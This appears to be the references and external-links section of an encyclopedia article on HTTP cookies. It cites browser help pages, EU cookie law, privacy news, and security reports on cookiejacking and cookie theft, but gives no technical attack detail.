- Whalen, David (June 8, 2002). "The Unofficial Cookie FAQ v2.6". Cookie Central. Archived from the original on August 26, 2011. Retrieved 2009-01-04.
- "3rd-Party Cookies, DOM Storage and Privacy". grack.com: Matt Mastracci's blog. January 6, 2010. Archived from the original on November 24, 2010. Retrieved 2010-09-20.
- "How to Manage Cookies in Internet Explorer 6". Microsoft. December 18, 2007. Archived from the original on December 28, 2008. Retrieved 2009-01-04.
- "Clearing private data". Firefox Support Knowledge base. Mozilla. 16 September 2008. Archived from the original on 3 January 2009. Retrieved 2009-01-04.
- "Clear Personal Information : Clear browsing data". Google Chrome Help. Archived from the original on 2009-03-11. Retrieved 2009-01-04.
- "Clear Personal Information: Delete cookies". Google Chrome Help. Archived from the original on 2009-03-11. Retrieved 2009-01-04.
- "Site Compatibility for Firefox 22", Mozilla Developer Network, 2013-04-11, archived from the original on 2013-05-27, retrieved 2013-04-11
- Miyazaki, Anthony D. (2008), "Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage," Journal of Public Policy & Marketing, 23 (Spring), 19–33
- "CIA Caught Sneaking Cookies". CBS News. 2002-03-20. Archived from the original on 2011-08-26. Retrieved 2006-01-02.
- "Spy Agency Removes Illegal Tracking Files". New York Times. 2005-12-29. Archived from the original on 2011-08-26. Retrieved 2017-02-19.
- "EU Cookie Directive, Directive 2009/136/EC". JISC Legal Information. Archived from the original on 18 December 2012. Retrieved 31 October 2012.
- Privacy and Electronic Communications Regulations. Information Commissioner's Office. 2012. Archived from the original on 2012-10-30. Retrieved 2012-10-31.
- "Directive 95/46/EC of the European Parliament and of the Council of 24 October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data". Official Journal (L): 0031–0050. 1995-11-23. Archived from the original on 27 September 2012. Retrieved 31 October 2012.
- "New EU cookie law (e-Privacy Directive)". Archived from the original on 24 February 2011. Retrieved 31 October 2012.
- "EU cookie law: stop whining and just get on with it". Wired UK. 2012-05-24. Archived from the original on 15 November 2012. Retrieved 31 October 2012.
- "A Loophole Big Enough for a Cookie to Fit Through". Bits. The New York Times. 2010-09-17. Archived from the original on 26 January 2013. Retrieved 31 January 2013.
- Pegoraro, Rob (July 17, 2005). "How to Block Tracking Cookies". Washington Post. p. F07. Archived from the original on April 27, 2011. Retrieved 2009-01-04.
- Wired Hack Obtains 9 Bogus Certificates for Prominent Websites Archived 2014-03-26 at the Wayback Machine
- Finkle, Jim (2011-05-25). "Microsoft latest security risk: 'Cookiejacking'". Reuters. Archived from the original on 30 May 2011. Retrieved 26 May 2011.
- Whitney, Lance (2011-05-26). "Security researcher finds 'cookiejacking' risk in IE". CNET. Archived from the original on 14 June 2011. Retrieved 6 Sep 2019.
- Fielding, Roy (2000). "Fielding Dissertation: CHAPTER 6: Experience and Evaluation". Archived from the original on 2011-04-27. Retrieved 2010-10-14.
- Tilkov, Stefan (July 2, 2008). "REST Anti-Patterns". InfoQ. Archived from the original on December 23, 2008. Retrieved 2009-01-04.
- "ThomasFrank.se". ThomasFrank.se. Archived from the original on 2010-05-15. Retrieved 2010-05-22.
- "The cookie is dead. Here's how Facebook, Google, and Apple are tracking you now, VentureBeat, Mobile, by Richard Byrne Reilly". VentureBeat. 2014-10-06. Archived from the original on 2017-07-24. Retrieved 2017-08-31.
- "Window.sessionStorage, Web APIs | MDN". developer.mozilla.org. Archived from the original on 28 September 2015. Retrieved 2 October 2015.
- "Introduction to Persistence". microsoft.com. Microsoft. Archived from the original on 2015-01-11. Retrieved 2014-10-09.
- "Isolated Storage". Microsoft.com. Archived from the original on 2014-12-16. Retrieved 2014-10-09.
- "BrowserSpy". gemal.dk. Archived from the original on 2008-09-26. Retrieved 2010-01-28.
- "IE "default behaviors [sic]" browser information disclosure tests: clientCaps". Mypage.direct.ca. Archived from the original on 2011-06-05. Retrieved 2010-01-28.
- Eckersley, Peter (17 May 2010). "How Unique Is Your Web Browser?" (PDF). eff.org. Electronic Frontier Foundation. Archived from the original (PDF) on 15 October 2014. Retrieved 23 July 2014.
- Anonymous, 2011. Cookiejacking Attack Steals Website Access Credentials. Informationweek - Online, pp. Informationweek - Online, May 26, 2011.
|Wikimedia Commons has media related to HTTP cookies.|
- RFC 6265, the current official specification for HTTP cookies
- HTTP cookies, Mozilla Developer Network
- Using cookies via ECMAScript, Mozilla Developer Network
- How Internet Cookies Work at HowStuffWorks
- Cookies at the Electronic Privacy Information Center (EPIC)
- Mozilla Knowledge-Base: Cookies
- Cookie Domain, explain in detail how cookie domains are handled in current major browsers
- Cookie Stealing - Michael Pound